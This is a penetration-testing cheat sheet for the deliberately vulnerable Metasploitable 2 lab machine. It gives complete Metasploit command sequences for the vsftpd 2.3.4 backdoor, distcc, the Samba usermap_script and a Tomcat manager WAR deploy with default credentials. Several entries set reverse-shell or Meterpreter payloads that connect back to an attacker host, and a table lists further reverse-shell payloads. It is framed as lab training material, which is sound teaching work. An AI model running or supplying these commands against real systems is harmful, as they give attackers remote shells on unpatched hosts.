Metasploitable 2 Exploit Cheat Sheet

This cheat sheet lists common exploits for Metasploitable 2, recommended payloads, and sample Metasploit commands.

---

1. VSFTPD 2.3.4 Backdoor (FTP)

- **Vulnerability:** Backdoor in vsftpd 2.3.4
- **Exploit Module:** `exploit/unix/ftp/vsftpd_234_backdoor`
- **Sample Commands:**

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST <Metasploitable_IP>
set RPORT 21
exploit
```

- **Payload:** Command shell on target.

---

2. DistCC Daemon Remote Code Execution

- **Vulnerability:** distcc allows arbitrary code execution
- **Exploit Module:** `exploit/unix/misc/distcc_exec`
- **Sample Commands:**

```
msfconsole
use exploit/unix/misc/distcc_exec
set RHOST <Metasploitable_IP>
set RPORT 3632
exploit
```

- **Payload:** Shell on target.

---

3. Samba Unauthenticated RCE

- **Vulnerability:** Samba user map script remote code execution
- **Exploit Module:** `exploit/multi/samba/usermap_script`
- **Sample Commands:**

```
msfconsole
use exploit/multi/samba/usermap_script
set RHOST <Metasploitable_IP>
set RPORT 139
set payload cmd/unix/reverse_bash
set LHOST <Kali_IP>
set LPORT 4444
exploit
```

- **Payload:** Reverse bash shell.

---

4. Apache Tomcat Manager Deploy

- **Vulnerability:** Default manager credentials allow WAR deployment
- **Exploit Module:** `exploit/multi/http/tomcat_mgr_deploy`
- **Sample Commands:**

```
msfconsole
use exploit/multi/http/tomcat_mgr_deploy
set RHOST <Metasploitable_IP>
set RPORT 8080
set HttpUsername tomcat
set HttpPassword tomcat
set payload java/meterpreter/reverse_tcp
set LHOST <Kali_IP>
set LPORT 4444
exploit
```

- **Payload:** Meterpreter session on target.

---

5. Additional Useful Payloads for Metasploitable 2

Payload	Purpose
linux/x86/meterpreter/reverse_tcp	Full-featured Linux reverse shell
linux/x86/shell/reverse_tcp	Simple Linux reverse shell
cmd/unix/reverse	Execute a single command remotely
cmd/windows/reverse_powershell	Execute Windows PowerShell commands remotely

---

6. Tips for Exploiting Metasploitable 2

1. Always scan target first:

```
nmap -sV <Metasploitable_IP>
```

2. Match the exploit module to the service/version discovered.
3. Prefer reverse TCP payloads in VM labs.
4. Ensure Kali and Metasploitable are on the same subnet (Host-Only or Bridged).
5. Always test in an isolated lab environment.

This cheat sheet is intended for **educational purposes only** in controlled lab environments.